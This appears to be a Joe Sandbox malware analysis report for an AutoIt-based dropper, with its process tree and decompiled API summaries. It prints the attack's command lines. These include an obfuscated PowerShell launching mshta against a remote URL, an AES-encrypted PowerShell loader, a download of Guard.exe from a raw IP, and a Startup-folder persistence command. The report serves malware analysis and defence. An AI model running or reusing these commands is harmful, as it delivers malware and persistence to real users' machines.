Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:39:12
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:39:14
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/ghepduy1325"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:39:15
Start date:	23/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://tiffany-careers.com/ghepduy1325
Imagebase:	0x7ff7a8720000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:39:18
Start date:	23/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:39:19
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6)
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:39:19
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	02:39:29
Start date:	23/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Job_Description.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	02:39:30
Start date:	23/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	02:39:30
Start date:	23/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1596,i,13836792171696391892,6566973636645197800,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	02:39:34
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Roaming\dqcwif.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\dqcwif.exe"
Imagebase:	0x7ff6b5b20000
File size:	1'083'904 bytes
MD5 hash:	302EA0EBB32FF34A46D6B6DF1E66F9FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 65%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:39:36
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe""
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:39:36
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:39:41
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:39:41
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:39:46
Start date:	23/12/2024
Path:	C:\Users\Public\Guard.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Imagebase:	0x5f0000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	02:39:48
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:39:48
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:40:01
Start date:	23/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Imagebase:	0x7ff62a600000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:40:02
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Imagebase:	0xd90000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 00007FFD33BA33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2178589682.00007FFD33BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD33BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd33ba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 9e086fb12fc34716112ba11b3ef7de698281f734bc9ae5e8130aada8407e8a70
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 5501677121CB0C4FD748EF0CE451AA5B7E0FB99364F10056DE58EC3651DA36E882CB46

Analysis Process: dqcwif.exePID: 4412, Parent PID: 672COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.5%
Total number of Nodes:	1472
Total number of Limit Nodes:	43

Executed Functions

Function 00007FF6B5B237B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B237F2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B23807
GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B2388D

Part of subcall function 00007FF6B5B23F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF6B5B238BF,?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B23FFD

SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B23924
MessageBoxA.USER32 ref: 00007FF6B5B6B888
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B6B8E1
GetForegroundWindow.USER32(?,?,?,?,?,00007FF6B5B23785), ref: 00007FF6B5B6B968
ShellExecuteW.SHELL32 ref: 00007FF6B5B6B98F

Part of subcall function 00007FF6B5B23B84: GetSysColorBrush.USER32 ref: 00007FF6B5B23B9E
Part of subcall function 00007FF6B5B23B84: LoadCursorW.USER32 ref: 00007FF6B5B23BAE
Part of subcall function 00007FF6B5B23B84: LoadIconW.USER32 ref: 00007FF6B5B23BC3
Part of subcall function 00007FF6B5B23B84: LoadIconW.USER32 ref: 00007FF6B5B23BDC
Part of subcall function 00007FF6B5B23B84: LoadIconW.USER32 ref: 00007FF6B5B23BF5
Part of subcall function 00007FF6B5B23B84: LoadImageW.USER32 ref: 00007FF6B5B23C21
Part of subcall function 00007FF6B5B23B84: RegisterClassExW.USER32 ref: 00007FF6B5B23C85

Part of subcall function 00007FF6B5B23CBC: CreateWindowExW.USER32 ref: 00007FF6B5B23D0C
Part of subcall function 00007FF6B5B23CBC: CreateWindowExW.USER32 ref: 00007FF6B5B23D5F
Part of subcall function 00007FF6B5B23CBC: ShowWindow.USER32 ref: 00007FF6B5B23D75

Part of subcall function 00007FF6B5B26258: Shell_NotifyIconW.SHELL32 ref: 00007FF6B5B26350

Strings

runas, xrefs: 00007FF6B5B6B973
This is a third-party compiled AutoIt script., xrefs: 00007FF6B5B6B87F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 1593035822-3287110873
Opcode ID: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
Instruction ID: fccdac189e81beb8e8924860b4b521414f92187d75b9dde7e8c6844608219288
Opcode Fuzzy Hash: 76182cffaad3958b66f0f298839ba34e861d4864c33095e5d1649e464e4238a0
Instruction Fuzzy Hash: 2E717C22A1C68396FA609B2CE8651F86761FF42B44F800136E74DD61AFDF6DEE49C710

Function 00007FF6B5B26580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00007FF6B5B2674B
FindResourceExW.KERNEL32 ref: 00007FF6B5B2676B
LoadResource.KERNEL32 ref: 00007FF6B5B6C985
SizeofResource.KERNEL32 ref: 00007FF6B5B6C99E
LockResource.KERNEL32 ref: 00007FF6B5B6C9B1

Strings

EA06, xrefs: 00007FF6B5B6CA59
SCRIPT, xrefs: 00007FF6B5B2675D
AU3!, xrefs: 00007FF6B5B265D8

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: AU3!$EA06$SCRIPT
API String ID: 3051347437-2925976212
Opcode ID: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
Instruction ID: 77b2495fa1f0994d927213e83dfe76acaf9af7d4d4a591f1f2ac0a0c22cf047c
Opcode Fuzzy Hash: 2a37f8564f4c8a4eeb189e72451b06d9c699f805bbd4e08f379393b5199a872e
Instruction Fuzzy Hash: C291D372B0964186EB218F29E464AFC2B61BB46F84F454139DF5D8778ADF3AEC06C310

Function 00007FF6B5B41D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00007FF6B5B41DC8
GetCurrentProcess.KERNEL32 ref: 00007FF6B5B41F42
IsWow64Process.KERNEL32 ref: 00007FF6B5B41F52
GetSystemInfo.KERNELBASE ref: 00007FF6B5B41F8B

Strings

|O, xrefs: 00007FF6B5B8954C

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$CurrentInfoSystemVersionWow64
String ID: |O
API String ID: 1568231622-607156228
Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction ID: 8fce85c0f9c02dc2153e1fdf2bcc5f60ad2c501e59cd99098f22b861668775e5
Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction Fuzzy Hash: 1ED17012E1D692C6FAA28B1CA8661F53762EF12F84F444039D78DD26AFDF6CAD05C701

Function 00007FF6B5BBF630 Relevance: 12.4, APIs: 8, Instructions: 350
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF6B5BBF80A
GetSystemDirectoryW.KERNEL32 ref: 00007FF6B5BBF838
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BBF881
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BBF8AF

Part of subcall function 00007FF6B5B9FAFC: GetStdHandle.KERNEL32 ref: 00007FF6B5B9FB23

CreateProcessW.KERNELBASE ref: 00007FF6B5BBFA43
GetLastError.KERNEL32 ref: 00007FF6B5BBFA88
CloseHandle.KERNEL32 ref: 00007FF6B5BBFAC2

Part of subcall function 00007FF6B5B9F7DC: ~SyncLockT.VCCORLIB ref: 00007FF6B5B9F7E9
Part of subcall function 00007FF6B5B9F7DC: ~SyncLockT.VCCORLIB ref: 00007FF6B5B9F7F2

CloseHandle.KERNEL32 ref: 00007FF6B5BBFB35

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
String ID:
API String ID: 1787492119-0
Opcode ID: b5529a047433c39029aa94f7abef1aaae7ba2a451b0d80efb392d77c1937dd44
Instruction ID: 3e04ef6101a31936978a3337e57bf39ba6af4f00dfb0e4dbaf5e68dcd6338f32
Opcode Fuzzy Hash: b5529a047433c39029aa94f7abef1aaae7ba2a451b0d80efb392d77c1937dd44
Instruction Fuzzy Hash: 64E18F22A08B8185EB14EB2AD5A01FD67A1FB86F94F004535EF5D877AEDF38E845C740

Function 00007FF6B5B9C7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF6B5B9C7CC
GetFileAttributesW.KERNELBASE ref: 00007FF6B5B9C7E0
FindFirstFileW.KERNEL32 ref: 00007FF6B5B9C7F3
FindClose.KERNEL32 ref: 00007FF6B5B9C802

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction ID: 9c3b10ae9adc4a633606300ab486fc0be9da791c7a6071efb6887938e15efd9c
Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction Fuzzy Hash: 9BF05410D4860282EA249B2CB8687F41360AF53FB5F544330DA7F862EADF6C9C584600

Function 00007FF6B5B27920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B5B25680: GetModuleFileNameW.KERNEL32(?,00007FF6B5B27A0C,?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B2569F

Part of subcall function 00007FF6B5B43A38: GetFullPathNameW.KERNEL32(?,00007FF6B5B27A1B,?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B43A5F

RegOpenKeyExW.KERNELBASE(?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B27A75
RegQueryValueExW.ADVAPI32(?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B6D081
RegQueryValueExW.ADVAPI32(?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B6D0E9
RegCloseKey.ADVAPI32(?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B6D138
wcscat.LIBCMT ref: 00007FF6B5B6D19E
wcscat.LIBCMT ref: 00007FF6B5B6D1CF

Strings

\Include\, xrefs: 00007FF6B5B27A1B
Software\AutoIt v3\AutoIt, xrefs: 00007FF6B5B27A64
Include, xrefs: 00007FF6B5B6D06F, 00007FF6B5B6D0D2

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\Include\
API String ID: 2667193904-1575078665
Opcode ID: e4a1d1e4efa0bc87a7461a6a39f11fb0c9c767336ce2d992286509dae00062b4
Instruction ID: 46c46cfcba1c54d765a6c48bc03bf066b3189779b7f32f8eba7d347af21dfc91
Opcode Fuzzy Hash: e4a1d1e4efa0bc87a7461a6a39f11fb0c9c767336ce2d992286509dae00062b4
Instruction Fuzzy Hash: 28914D22A18A5285EB209F28E8610FD6365FF85B94F804136E74D87AAEDF7CE945C740

Function 00007FF6B5B25DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32 ref: 00007FF6B5B25E76
KillTimer.USER32 ref: 00007FF6B5B25EB1
